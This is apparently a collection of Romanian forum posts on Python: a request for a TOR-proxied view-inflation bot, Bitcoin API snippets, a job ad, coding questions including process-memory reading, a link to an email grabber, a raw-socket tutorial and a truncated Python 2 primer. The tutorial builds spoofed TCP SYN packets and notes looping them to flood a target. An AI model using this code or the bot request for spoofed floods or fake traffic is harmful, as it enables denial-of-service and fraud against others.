  15. Doresc un bot de watchers care sa-mi viziteze un link. Must have : -lista proxy (eu vin cu lista) sau si mai bine sa se foloseasca de proxiuri din reteaua TOR, nu stiu cate proxiuri au disponibile... -posibilitatea sa aleg nr. total de threads si nr de threads per proxy -fiecare thread sa aibe fingerprint diferit (os/browser etc)...poti sa integrezi prin api de aici direct https://developers.whatismybrowser.com/ sau vii tu cu o alta varianta -time watch...adica cat sa stea activ pe pagina si in acest timp sa existe la un interval de 40-60sec scroll pe pagina, pt a nu avea sesiune de logout de pe pagina -timeout adjustabil pt proxy si daca nu e bun, aruncat la cosul de gunoi si ce e bun sa se salveze intr-o lista -legat de UI nu stiu sigur, depinde de pret, daca nu, o sa-l rulez din comenzi cu un pic de ajutor la inceput in caz ca ma incurc. Legat de limbajul de programare, sa fie cat mai fiabil, sa ruleze in background, pt ca vreau sa-l deschid in 1000-1500 threads pe un vps de 16gb RAM, cu 8 cores, il pot mari la nevoie 32gb ram etc Din sapaturile efectuiate pe internet am observat ca python, nodeJS, phantomJS s-ar preta, poate gresesc cine stie. Legat de pret vb pe PM sau skype: shuttershades89 Astep propuneri. MS anticipat.
  16. https://blockchain.info/en/q/newkey https://github.com/BitcoinPHP/BitcoinECDSA.php ### https://blockexplorer.com/api-ref https://pypi.python.org/pypi/pycoin https://github.com/richardkiss/pycoin https://github.com/vbuterin/pybitcointools import bitcoin as btclib import requests from pycoin.services.blockchain.info import BlockchainInfoProvider from pycoin.tx import script, Tx ### https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list https://github.com/jgarzik/python-bitcoinrpc from bitcoinrpc.authproxy import AuthServiceProxy, JSONRPCException def btc_rpc_connect(config): rpc_server_url = ("http://{user}:{password}@{host}:{port}").format( user=config.rpc_user, password=config.rpc_pass, host=config.rpc_host, port=config.rpc_port ) rpc_conn = AuthServiceProxy(rpc_server_url) return rpc_conn config = { 'rpc_user': 'username', 'rpc_pass': 'password', 'rpc_host': 'host', 'rpc_port': 'port', } try: rpc_conn = btc_rpc_connect(config) btc_address = rpc_conn.getnewaddress('accountname') amount = rpc_conn.getreceivedbyaddress('some_btc_address', 2) except JSONRPCException, e: if settings.DEBUG: print e ### Coinbase API - VA RECOMAND SA EVITATI! <?php require __DIR__ . '/vendor/autoload.php'; use Coinbase\Wallet\Client; use Coinbase\Wallet\Configuration; use Coinbase\Wallet\HttpClient; use Coinbase\Wallet\Mapper; use Coinbase\Wallet\Resource\Account; use Coinbase\Wallet\Resource\Address; $apiKey = 'XXXXXXXX'; $apiSecret = 'XXXXXXXXXX'; $configuration = Configuration::apiKey($apiKey, $apiSecret); $client = Client::create($configuration); $account = $client->getPrimaryAccount(); $address = new Address(); $client->createAccountAddress($account, $address); echo $address->getAddress(); ?> ### Plaintext query api to retreive data from blockchain.info: https://blockchain.info/q Poate va trebuie si wrapper-ul asta: https://github.com/gsalvati/jsonRpcClient-PHP/blob/master/jsonRPCClient.php
  17. Decameron is helping an innovative and vibrant healthcare technology company, with headquarter in UK, to complete their team with 2 C++ Developers. They have developed revolutionary software to detect vital signs to medical grade accuracy, human activity through a standard digital camera, completely contact free. The software is currently being deployed to monitor safety and health in police, mental health and hospital settings but we see it being deployed in a wide range of settings including nursing & elderly care, community & home care and in vehicles. The Role We are looking for 2 C++ developers to join the team developing and delivering a unique software to extract health information from video. You will be responsible for developing features and creating tests for the core software and systems and services running, running across networks of Linux devices and servers. If you love crafting quality code to bring products to life, learning cool new stuff, and enjoy working in an energetic, and outgoing team, then we want to hear from you. The C++ Developer MUST HAVE: ● Exceptional C++, including the modern language standards, the STL and other software libraries (e.g. Boost etc.) ● Experience developing in a Linux environment ● Exposure to scripting (e.g. Python, bash, Ruby) It is also HIGHLY DESIRABLE that C++ Engineer has: ● Experience of multi-threaded, high performance code ● Worked with algorithms, numerical methods or image processing To be a great member of the team, you must be brave, inquisitive, determined, supportive, a good listener, team-oriented, self-starting, highly responsible and high energy. Benefits: ● Salary negotiable depending on experience ● Relocation support for UK, Oxford ● 25 days of annual leave with the ability to purchase more ● A flexible working environment ● Opportunities to develop your role in the direction you want as the company grows ● Working in a well-funded company with a spirit and working environment that is envied by all who see it. All those interested are welcome to send their CV at ecaterina.cocora@decameron-wap.com. Let's discuss in more details. Thank you.
  18. Bun, de cateva zile ma chinui sa construiesc o schema JSON decenta, pentru ca mai tarziu sa o pot manipula cat mai usor posibil. Scenario: User-ul va face un POST request cu un JSON care va arata de cele ai multe ori, asa: { "endpoint": "ep", "expression": { "field": "first_name", "operator": "EQUALS", "value": "Jack" }, "query_limit": "2" } Acum, in principiu, `endpoint` si `query_limit` vor fi mereu stringuri. Partea unde am eu probleme este `expression`. Exemplul de expresie de mai jos este minimal dar de ajuns pentru a explica ceea ce vreau sa fac. Acea expresie va face parte din clauza WHERE dintr-un query MSSQL. Spre exemplu, cea de mai sus va deveni: SELECT * FROM table WHERE first_name='Jack'; E de la sine inteles ca va exista o mapare intre operatorii din JSON si cei din MSSQL. In python, maparea aia se va face prin doua dictionare simple: LOGICAL_OPERATORS = { 'AND': 'AND', 'OR': 'OR' } COMPARISON_OPERATORS = { 'LT': '<', 'GT': '>', 'LTE': '<=', 'GTE': '>=', 'EQ': '=', 'NEQ': '!=' } The problem: Acum, partea la care intampin probleme este aceea de a dezvolta mai departe acel expression din JSON, astfel incat va putea suporta query-uri mult mai complexe. Vreau sa incerc sa acopar cat mai multe scenarii, asa ca am nevoie de o schema cat mai bine pusa la punct. Un exemplu: 1. Userul doreste ca `first_name` sa fie 'Jack' SI `last_name` sa fie 'Lola'. In cazul acela, JSON-ul ar putea sa arate asa: { "endpoint": "rfc", "expression": { "AND": [ { "field": "first_name", "operator": "EQUALS", "value": "Jack" }, { "field": "last_name", "operator": "EQUALS", "value": "Lola" } ] }, "limit": "2" } Exemplul de mai sus, va fi transformat intr-un SQL care va fi de forma: SELECT * FROM table WHERE first_name='Jack' AND last_name='Lola'; User-ul doreste ca `age` sa fie mai mic decat 17 SAU `age` mai mare decat 10 SI `first_name` sa fie 'Dick'. SQL-ul pentru descrierea de mai sus va fi de forma: SELECT * FROM table WHERE age > 10 OR age < 17 AND first_name='Jack'; Ceva idei pentru cum ar trebui sa arate JSON-ul in acest caz? Ceva care sa fie usor de adaptat pentru cazuri si mai complexe (va trebui sa generalizez toata treaba pentru ca asa cum stim toti care lucram in industria IT, userul e foarte inventiv cand vine vorba de edge cases). Thanks!
  19. PyStat - Advanced Netstat For Windows Features: Know remote address of process Know remote ports of process Know which user using process along with title & PID Changelogs: Auto Install python modules support added in install.py Installation Guide Download the .zip file Extract the pystat folder from .zip file to some drive i.e C:\tools\pystat Goto C:\tools\pystat Press SHIFT KEY + RIGHT CLICK and select open Command Window here Enter this command python install.py, Enjoy Warning! Don't move pystat folder after installation, will stop working Download PyStat-master.zip Source: https://github.com/roothaxor/PyStat
  20. Raw sockets allow a program or application to provide custom headers for the specific protocol(tcp ip) which are otherwise provided by the kernel/os network stack. In more simple terms its for adding custom headers instead of headers provided by the underlying operating system. Raw socket support is available natively in the socket api in linux. This is different from windows where it is absent (it became available in windows 2000/xp/xp sp1 but was removed later). Although raw sockets dont find much use in common networking applications, they are used widely in applications related to network security. In this article we are going to create raw tcp/ip packets. For this we need to know how to make proper ip header and tcp headers. A packet = Ip header + Tcp header + data. So lets have a look at the structures. Ip header According to RFC 791 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Every single number is 1 bit. So for example the Version field is 4 bit. The header must be constructed exactly like shown. TCP header Next comes the TCP header. According to RFC 793 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Create a raw socket Raw socket can be created in python like this #create a raw socket try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) except socket.error , msg: print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] sys.exit() To create raw socket, the program must have root privileges on the system. For example on ubuntu run the program with sudo. The above example creates a raw socket of type IPPROTO_RAW which is a raw IP packet. Means that we provide everything including the ip header. Once the socket is created, next thing is to create and construct the packet that is to be send out. C like structures are not available in python, therefore the functions called pack and unpack have to be used to create the packet in the structure specified above. So first, lets make the ip header 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 source_ip = '192.168.1.101' dest_ip = '192.168.1.1' # or socket.gethostbyname('www.google.com') # ip header fields ip_ihl = 5 ip_ver = 4 ip_tos = 0 ip_tot_len = 0 # kernel will fill the correct total length ip_id = 54321 #Id of this packet ip_frag_off = 0 ip_ttl = 255 ip_proto = socket.IPPROTO_TCP ip_check = 0 # kernel will fill the correct checksum ip_saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to ip_daddr = socket.inet_aton ( dest_ip ) ip_ihl_ver = (version << 4) + ihl # the ! in the pack format string means network order ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr) Now ip_header has the data for the ip header. Now the usage of pack function, it packs some values has bytes, some as 16bit fields and some as 32 bit fields. Next comes the tcp header 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # tcp header fields tcp_source = 1234 # source port tcp_dest = 80 # destination port tcp_seq = 454 tcp_ack_seq = 0 tcp_doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes #tcp flags tcp_fin = 0 tcp_syn = 1 tcp_rst = 0 tcp_psh = 0 tcp_ack = 0 tcp_urg = 0 tcp_window = socket.htons (5840) # maximum allowed window size tcp_check = 0 tcp_urg_ptr = 0 tcp_offset_res = (tcp_doff << 4) + 0 tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5) # the ! in the pack format string means network order tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr) The construction of the tcp header is similar to the ip header. The tcp header has a field called checksum which needs to be filled in correctly. A pseudo header is constructed to compute the checksum. The checksum is calculated over the tcp header along with the data. Checksum is necessary to detect errors in the transmission on the receiver side. Code Here is the full code to send a raw packet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 ''' Raw sockets on Linux Silver Moon (m00n.silv3r@gmail.com) ''' # some imports import socket, sys from struct import * # checksum functions needed for calculation checksum def checksum(msg): s = 0 # loop taking 2 characters at a time for i in range(0, len(msg), 2): w = ord(msg) + (ord(msg[i+1]) << 8 ) s = s + w s = (s>>16) + (s & 0xffff); s = s + (s >> 16); #complement and mask to 4 byte short s = ~s & 0xffff return s #create a raw socket try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) except socket.error , msg: print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] sys.exit() # tell kernel not to put in headers, since we are providing it, when using IPPROTO_RAW this is not necessary # s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # now start constructing the packet packet = ''; source_ip = '192.168.1.101' dest_ip = '192.168.1.1' # or socket.gethostbyname('www.google.com') # ip header fields ip_ihl = 5 ip_ver = 4 ip_tos = 0 ip_tot_len = 0 # kernel will fill the correct total length ip_id = 54321 #Id of this packet ip_frag_off = 0 ip_ttl = 255 ip_proto = socket.IPPROTO_TCP ip_check = 0 # kernel will fill the correct checksum ip_saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to ip_daddr = socket.inet_aton ( dest_ip ) ip_ihl_ver = (ip_ver << 4) + ip_ihl # the ! in the pack format string means network order ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr) # tcp header fields tcp_source = 1234 # source port tcp_dest = 80 # destination port tcp_seq = 454 tcp_ack_seq = 0 tcp_doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes #tcp flags tcp_fin = 0 tcp_syn = 1 tcp_rst = 0 tcp_psh = 0 tcp_ack = 0 tcp_urg = 0 tcp_window = socket.htons (5840) # maximum allowed window size tcp_check = 0 tcp_urg_ptr = 0 tcp_offset_res = (tcp_doff << 4) + 0 tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5) # the ! in the pack format string means network order tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr) user_data = 'Hello, how are you' # pseudo header fields source_address = socket.inet_aton( source_ip ) dest_address = socket.inet_aton(dest_ip) placeholder = 0 protocol = socket.IPPROTO_TCP tcp_length = len(tcp_header) + len(user_data) psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length); psh = psh + tcp_header + user_data; tcp_check = checksum(psh) #print tcp_checksum # make the tcp header again and fill the correct checksum - remember checksum is NOT in network byte order tcp_header = pack('!HHLLBBH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window) + pack('H' , tcp_check) + pack('!H' , tcp_urg_ptr) # final full packet - syn packets dont have any data packet = ip_header + tcp_header + user_data #Send the packet finally - the port specified has no effect s.sendto(packet, (dest_ip , 0 )) # put this in a loop if you want to flood the target Run the above program from the terminal and check the network traffic using a packet sniffer like wireshark. It should show the packet. Raw sockets find application in the field of network security. The above example can be used to code a tcp syn flood program. Syn flood programs are used in Dos attacks. Raw sockets are also used to code packet sniffers, port scanners etc. sursa: http://www.binarytides.com/raw-socket-programming-in-python-linux/
  21. Nullege is a search engine for Python source code. It helps you find working samples for Python libraries from production-quality open source projects. Unlike generic search engines, Nullege really understands Python and knows class InspectionFrame(wx.Frame): def SaveSettings(self, config): w, h = self.GetSize() is a sample for wx.Frame.GetSize(). It also tries to bring you more information in the first search result page, so you can find the right example with fewer clicks. Nullege is growing every day. If you can't find a sample for a library, or have ideas or feature requests, or just want to let us know that Nullege is useful (or not), please send us a mail, or click the 'feedback' button on the right. http://nullege.com https://ibb.co/kuuKna
  22. Salut, Cumpar serviciile unui programator (python) pentru cateva proiecte "educationale". Plata se face prin BTC pe ora sau proiect. Detalii in privat sau pe jabber: tinderboy@jabber.ru. PS: in cazul in care am postat unde nu trebuia, rog adminul sa mute topicul in categoria potrivita.
  23. Neata. address = 0x0018FB54 address = address + 0x14 address = address + 0x0 address = address + 0x7 ReadProcessMemory(processHandle, address, buffer, bufferSize, byref(bytesRead)) Se rupe filmul la acel "0x0" , prin urmare nu reusesc sa completez pointerul. Am luat la puricat documentatia python cat mi-a permis experienta pana in prezent, am rupt stackoverflow, am cautat si pe rst si nu gasesc un exemplu viabil sa accesez un amarat de pointer. Am invartit variabila aia de am innebunit, de ieri ma chinui intruna. Am luat cateva snipetturi de cod C++ si le-am transcris in python insa nu faceau obiectul problemei prezentate mai sus, ci ma aducea intr-un punct in care am mai fost, sa inaintez cu 2-3 offset-uri asta daca vreun offset nu echivala cu decimal mai mare de 99 (de ex am avut offset +444 (1BCh) si iar s-a rupt filmul ca la 0x0, nu schimba cu nimic rezultatul final oricate offset-uri ii mai adaugam dupa acel +444. Provocarea principala este ca vreau sa pot manevra un proces la fel de usor si rapid prin cod Python nu C++ (am fix pe creier) si inafara de impedimente de astea stupide nu am avut nici o dilema pana in prezent care sa ma retina mai mult de 6-7 ore pana sa gasesc o rezolvare. Sistem de operare: Windows 7 x64 Aplicatiile pe care exersez: x32 Multumesc anticipat.
  24. Buna, am programat un comment și email grabber in Python, sper sa va placa Aici e link-ul: https://ghostbin.com/paste/k436w Daca ma puteti ajuta cu un invite la un site invite only unde gasesc torenturi va rog sa imi lasati mesaj multumesc
  25. This article applies to Python 2.7 specifically, but should be applicable to Python 2.x. Python 2.7 is reaching end of life and will stop being maintained in 2020, it is though recommended to start learning Python with Python 3. # Single line comments start with a number symbol. """ Multiline strings can be written using three "s, and are often used as comments """ #################################################### # 1. Primitive Datatypes and Operators #################################################### # You have numbers 3 # => 3 # Math is what you would expect 1 + 1 # => 2 8 - 1 # => 7 10 * 2 # => 20 35 / 5 # => 7 # Division is a bit tricky. It is integer division and floors the results # automatically. 5 / 2 # => 2 # To fix division we need to learn about floats. 2.0 # This is a float 11.0 / 4.0 # => 2.75 ahhh...much better # Result of integer division truncated down both for positive and negative. 5 // 3 # => 1 5.0 // 3.0 # => 1.0 # works on floats too -5 // 3 # => -2 -5.0 // 3.0 # => -2.0 # Note that we can also import division module(Section 6 Modules) # to carry out normal division with just one '/'. from __future__ import division 11 / 4 # => 2.75 ...normal division 11 // 4 # => 2 ...floored division # Modulo operation 7 % 3 # => 1 # Exponentiation (x to the yth power) 2 ** 4 # => 16 # Enforce precedence with parentheses (1 + 3) * 2 # => 8 # Boolean Operators # Note "and" and "or" are case-sensitive True and False # => False False or True # => True # Note using Bool operators with ints 0 and 2 # => 0 -5 or 0 # => -5 0 == False # => True 2 == True # => False 1 == True # => True # negate with not not True # => False not False # => True # Equality is == 1 == 1 # => True 2 == 1 # => False # Inequality is != 1 != 1 # => False 2 != 1 # => True # More comparisons 1 < 10 # => True 1 > 10 # => False 2 <= 2 # => True 2 >= 2 # => True # Comparisons can be chained! 1 < 2 < 3 # => True 2 < 3 < 2 # => False # Strings are created with " or ' "This is a string." 'This is also a string.' # Strings can be added too! "Hello " + "world!" # => "Hello world!" # Strings can be added without using '+' "Hello " "world!" # => "Hello world!" # ... or multiplied "Hello" * 3 # => "HelloHelloHello" # A string can be treated like a list of characters "This is a string"[0] # => 'T' # You can find the length of a string len("This is a string") # => 16 # String formatting with % # Even though the % string operator will be deprecated on Python 3.1 and removed # later at some time, it may still be good to know how it works. x = 'apple' y = 'lemon' z = "The items in the basket are %s and %s" % (x, y) # A newer way to format strings is the format method. # This method is the preferred way "{} is a {}".format("This", "placeholder") "{0} can be {1}".format("strings", "formatted") # You can use keywords if you don't want to count. "{name} wants to eat {food}".format(name="Bob", food="lasagna") # None is an object None # => None # Don't use the equality "==" symbol to compare objects to None # Use "is" instead "etc" is None # => False None is None # => True # The 'is' operator tests for object identity. This isn't # very useful when dealing with primitive values, but is # very useful when dealing with objects. # Any object can be used in a Boolean context. # The following values are considered falsey: # - None # - zero of any numeric type (e.g., 0, 0L, 0.0, 0j) # - empty sequences (e.g., '', (), []) # - empty containers (e.g., {}, set()) # - instances of user-defined classes meeting certain conditions # see: https://docs.python.org/2/reference/datamodel.html#object.__nonzero__ # # All other values are truthy (using the bool() function on them returns True). bool(0) # => False bool("") # => False #################################################### # 2. Variables and Collections #################################################### # Python has a print statement print "I'm Python. Nice to meet you!" # => I'm Python. Nice to meet you! # Simple way to get input data from console input_string_var = raw_input( "Enter some data: ") # Returns the data as a string input_var = input("Enter some data: ") # Evaluates the data as python code # Warning: Caution is recommended for input() method usage # Note: In python 3, input() is deprecated and raw_input() is renamed to input() # No need to declare variables before assigning to them. some_var = 5 # Convention is to use lower_case_with_underscores some_var # => 5 # Accessing a previously unassigned variable is an exception. # See Control Flow to learn more about exception handling. some_other_var # Raises a name error # if can be used as an expression # Equivalent of C's '?:' ternary operator "yahoo!" if 3 > 2 else 2 # => "yahoo!" # Lists store sequences li = [] # You can start with a prefilled list other_li = [4, 5, 6] # Add stuff to the end of a list with append li.append(1) # li is now [1] li.append(2) # li is now [1, 2] li.append(4) # li is now [1, 2, 4] li.append(3) # li is now [1, 2, 4, 3] # Remove from the end with pop li.pop() # => 3 and li is now [1, 2, 4] # Let's put it back li.append(3) # li is now [1, 2, 4, 3] again. # Access a list like you would any array li[0] # => 1 # Assign new values to indexes that have already been initialized with = li[0] = 42 li[0] # => 42 li[0] = 1 # Note: setting it back to the original value # Look at the last element li[-1] # => 3 # Looking out of bounds is an IndexError li[4] # Raises an IndexError # You can look at ranges with slice syntax. # (It's a closed/open range for you mathy types.) li[1:3] # => [2, 4] # Omit the beginning li[2:] # => [4, 3] # Omit the end li[:3] # => [1, 2, 4] # Select every second entry li[::2] # =>[1, 4] # Reverse a copy of the list li[::-1] # => [3, 4, 2, 1] # Use any combination of these to make advanced slices # li[start:end:step] # Remove arbitrary elements from a list with "del" del li[2] # li is now [1, 2, 3] # You can add lists li + other_li # => [1, 2, 3, 4, 5, 6] # Note: values for li and for other_li are not modified. # Concatenate lists with "extend()" li.extend(other_li) # Now li is [1, 2, 3, 4, 5, 6] # Remove first occurrence of a value li.remove(2) # li is now [1, 3, 4, 5, 6] li.remove(2) # Raises a ValueError as 2 is not in the list # Insert an element at a specific index li.insert(1, 2) # li is now [1, 2, 3, 4, 5, 6] again # Get the index of the first item found li.index(2) # => 1 li.index(7) # Raises a ValueError as 7 is not in the list # Check for existence in a list with "in" 1 in li # => True # Examine the length with "len()" len(li) # => 6 # Tuples are like lists but are immutable. tup = (1, 2, 3) tup[0] # => 1 tup[0] = 3 # Raises a TypeError # You can do all those list thingies on tuples too len(tup) # => 3 tup + (4, 5, 6) # => (1, 2, 3, 4, 5, 6) tup[:2] # => (1, 2) 2 in tup # => True # You can unpack tuples (or lists) into variables a, b, c = (1, 2, 3) # a is now 1, b is now 2 and c is now 3 d, e, f = 4, 5, 6 # you can leave out the parentheses # Tuples are created by default if you leave out the parentheses g = 4, 5, 6 # => (4, 5, 6) # Now look how easy it is to swap two values e, d = d, e # d is now 5 and e is now 4 # Dictionaries store mappings empty_dict = {} # Here is a prefilled dictionary filled_dict = {"one": 1, "two": 2, "three": 3} # Look up values with [] filled_dict["one"] # => 1 # Get all keys as a list with "keys()" filled_dict.keys() # => ["three", "two", "one"] # Note - Dictionary key ordering is not guaranteed. # Your results might not match this exactly. # Get all values as a list with "values()" filled_dict.values() # => [3, 2, 1] # Note - Same as above regarding key ordering. # Get all key-value pairs as a list of tuples with "items()" filled_dicts.items() # => [("one", 1), ("two", 2), ("three", 3)] # Check for existence of keys in a dictionary with "in" "one" in filled_dict # => True 1 in filled_dict # => False # Looking up a non-existing key is a KeyError filled_dict["four"] # KeyError # Use "get()" method to avoid the KeyError filled_dict.get("one") # => 1 filled_dict.get("four") # => None # The get method supports a default argument when the value is missing filled_dict.get("one", 4) # => 1 filled_dict.get("four", 4) # => 4 # note that filled_dict.get("four") is still => None # (get doesn't set the value in the dictionary) # set the value of a key with a syntax similar to lists filled_dict["four"] = 4 # now, filled_dict["four"] => 4 # "setdefault()" inserts into a dictionary only if the given key isn't present filled_dict.setdefault("five", 5) # filled_dict["five"] is set to 5 filled_dict.setdefault("five", 6) # filled_dict["five"] is still 5 # Sets store ... well sets (which are like lists but can contain no duplicates) empty_set = set() # Initialize a "set()" with a bunch of values some_set = set([1, 2, 2, 3, 4]) # some_set is now set([1, 2, 3, 4]) # order is not guaranteed, even though it may sometimes look sorted another_set = set([4, 3, 2, 2, 1]) # another_set is now set([1, 2, 3, 4]) # Since Python 2.7, {} can be used to declare a set filled_set = {1, 2, 2, 3, 4} # => {1, 2, 3, 4} # Add more items to a set filled_set.add(5) # filled_set is now {1, 2, 3, 4, 5} # Do set intersection with & other_set = {3, 4, 5, 6} filled_set & other_set # => {3, 4, 5} # Do set union with | filled_set | other_set # => {1, 2, 3, 4, 5, 6} # Do set difference with - {1, 2, 3, 4} - {2, 3, 5} # => {1, 4} # Do set symmetric difference with ^ {1, 2, 3, 4} ^ {2, 3, 5} # => {1, 4, 5} # Check if set on the left is a superset of set on the right {1, 2} >= {1, 2, 3} # => False # Check if set on the left is a subset of set on the right {1, 2} <= {1, 2, 3} # => True # Check for existence in a set with in 2 in filled_set # => True 10 in filled_set # => False #################################################### # 3. Control Flow #################################################### # Let's just make a variable some_var = 5 # Here is an if statement. Indentation is significant in python! # prints "some_var is smaller than 10" if some_var > 10: print "some_var is totally bigger than 10." elif some_var < 10: # This elif clause is optional. print "some_var is smaller than 10." else: # This is optional too. print "some_var is indeed 10." """ For loops iterate over lists prints: dog is a mammal cat is a mammal mouse is a mammal """ for animal in ["dog", "cat", "mouse"]: # You can use {0} to interpolate formatted strings. (See above.) print "{0} is a mammal".format(animal) """ "range(number)" returns a list of numbers from zero to the given number prints: 0 1 2 3 """ for i in range(4): print i """ "range(lower, upper)" returns a list of numbers from the lower number to the upper number prints: 4 5 6 7 """ for i in range(4, 8): print i """ While loops go until a condition is no longer met. prints: 0 1 2 3 """ x = 0 while x < 4: print x x += 1 # Shorthand for x = x + 1 # Handle exceptions with a try/except block # Works on Python 2.6 and up: try: # Use "raise" to raise an error raise IndexError("This is an index error") except IndexError as e: pass # Pass is just a no-op. Usually you would do recovery here. except (TypeError, NameError): pass # Multiple exceptions can be handled together, if required. else: # Optional clause to the try/except block. Must follow all except blocks print "All good!" # Runs only if the code in try raises no exceptions finally: # Execute under all circumstances print "We can clean up resources here" # Instead of try/finally to cleanup resources you can use a with statement with open("myfile.txt") as f: for line in f: print line #################################################### # 4. Functions #################################################### # Use "def" to create new functions def add(x, y): print "x is {0} and y is {1}".format(x, y) return x + y # Return values with a return statement # Calling functions with parameters add(5, 6) # => prints out "x is 5 and y is 6" and returns 11 # Another way to call functions is with keyword arguments add(y=6, x=5) # Keyword arguments can arrive in any order. # You can define functions that take a variable number of # positional args, which will be interpreted as a tuple by using * def varargs(*args): return args varargs(1, 2, 3) # => (1, 2, 3) # You can define functions that take a variable number of # keyword args, as well, which will be interpreted as a dict by using ** def keyword_args(**kwargs): return kwargs # Let's call it to see what happens keyword_args(big="foot", loch="ness") # => {"big": "foot", "loch": "ness"} # You can do both at once, if you like def all_the_args(*args, **kwargs): print args print kwargs """ all_the_args(1, 2, a=3, b=4) prints: (1, 2) {"a": 3, "b": 4} """ # When calling functions, you can do the opposite of args/kwargs! # Use * to expand positional args and use ** to expand keyword args. args = (1, 2, 3, 4) kwargs = {"a": 3, "b": 4} all_the_args(*args) # equivalent to foo(1, 2, 3, 4) all_the_args(**kwargs) # equivalent to foo(a=3, b=4) all_the_args(*args, **kwargs) # equivalent to foo(1, 2, 3, 4, a=3, b=4) # you can pass args and kwargs along to other functions that take args/kwargs # by expanding them with * and ** respectively def pass_all_the_args(*args, **kwargs): all_the_args(*args, **kwargs) print varargs(*args) print keyword_args(**kwargs) # Function Scope x = 5 def set_x(num): # Local var x not the same as global variable x x = num # => 43 print x # => 43 def set_global_x(num): global x print x # => 5 x = num # global var x is now set to 6 print x # => 6 set_x(43) set_global_x(6) # Python has first class functions def create_adder(x): def adder(y): return x + y return adder add_10 = create_adder(10) add_10(3) # => 13 # There are also anonymous functions (lambda x: x > 2)(3) # => True (lambda x, y: x ** 2 + y ** 2)(2, 1) # => 5 # There are built-in higher order functions map(add_10, [1, 2, 3]) # => [11, 12, 13] map(max, [1, 2, 3], [4, 2, 1]) # => [4, 2, 3] filter(lambda x: x > 5, [3, 4, 5, 6, 7]) # => 